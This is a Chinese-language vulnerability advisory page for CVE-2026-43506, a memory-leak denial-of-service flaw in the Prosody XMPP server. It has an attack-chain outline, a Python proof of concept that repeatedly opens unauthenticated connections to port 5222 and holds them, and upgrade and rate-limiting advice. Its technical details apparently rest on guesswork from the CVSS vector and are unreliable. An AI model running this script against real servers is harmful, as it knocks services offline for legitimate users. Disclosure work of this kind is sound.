IPBUF安全漏洞报告
English
CVE-2026-43506 CVSS 5.3 中危

CVE-2026-43506 Prosody内存泄漏导致拒绝服务漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-43506
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Prosody

相关标签

DoSMemory LeakProsodyXMPPCVE-2026-43506

漏洞概述

Prosody在0.12.6之前和13.0.0至13.0.5之前的版本中存在安全漏洞。该漏洞是由于未认证连接处理过程中存在内存泄漏,攻击者可以利用此缺陷通过发送特制请求耗尽服务器内存资源,从而导致服务拒绝。此漏洞无需用户交互即可通过网络远程利用,对服务可用性构成威胁。

技术细节

该漏洞源于Prosody XMPP服务器在处理未认证的客户端连接时未能正确释放内存,导致内存泄漏。攻击者无需身份验证即可向服务器发起连接。由于漏洞存在于连接建立或握手阶段,攻击者可以通过反复建立连接或发送特定的数据包序列,触发内存分配但未释放的逻辑。随着攻击的持续,服务器的可用内存将被逐渐耗尽,最终导致系统崩溃或无法响应合法用户的请求。由于CVSS向量显示无需用户交互(UI:N)且攻击复杂度低(AC:L),这使得该漏洞易于被自动化脚本利用,造成严重的可用性影响(A:L)。

攻击链分析

STEP 1
1. 侦察
攻击者扫描网络,识别出运行受影响版本Prosody的服务器(端口5222或其他配置端口)。
STEP 2
2. 漏洞利用
攻击者无需认证,向目标服务器发起大量TCP连接并发送特定的XMPP流头部数据,触发内存泄漏逻辑。
STEP 3
3. 资源耗尽
随着攻击持续,服务器由于未释放的内存对象堆积,可用内存逐渐减少,系统负载升高。
STEP 4
4. 拒绝服务
最终服务器内存耗尽,导致服务崩溃或无法处理新的合法连接请求,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import time target_ip = '127.0.0.1' target_port = 5222 def exploit(): try: # Create a socket connection to the Prosody server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Send initial XMPP stream header to initiate connection state # This triggers the vulnerable code path in unauthenticated connections payload = b"<stream:stream xmlns:stream='http://etherx.jabber.org/streams' version='1.0' xmlns='jabber:client' to='localhost'>" s.send(payload) print("[+] Connection established, holding resources...") # Keep the connection open or send incomplete data to trigger memory leak # Without closing the socket, the memory is not freed in vulnerable versions time.sleep(300) except Exception as e: print(f"[-] Error: {e}") while True: exploit() time.sleep(0.1)

影响范围

Prosody < 0.12.6
Prosody >= 13.0.0, < 13.0.5

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界部署防火墙或速率限制策略,限制来自单一IP的未认证连接频率,以减缓内存耗尽的速度。同时,监控服务器内存使用情况,一旦发现异常升高及时重启服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表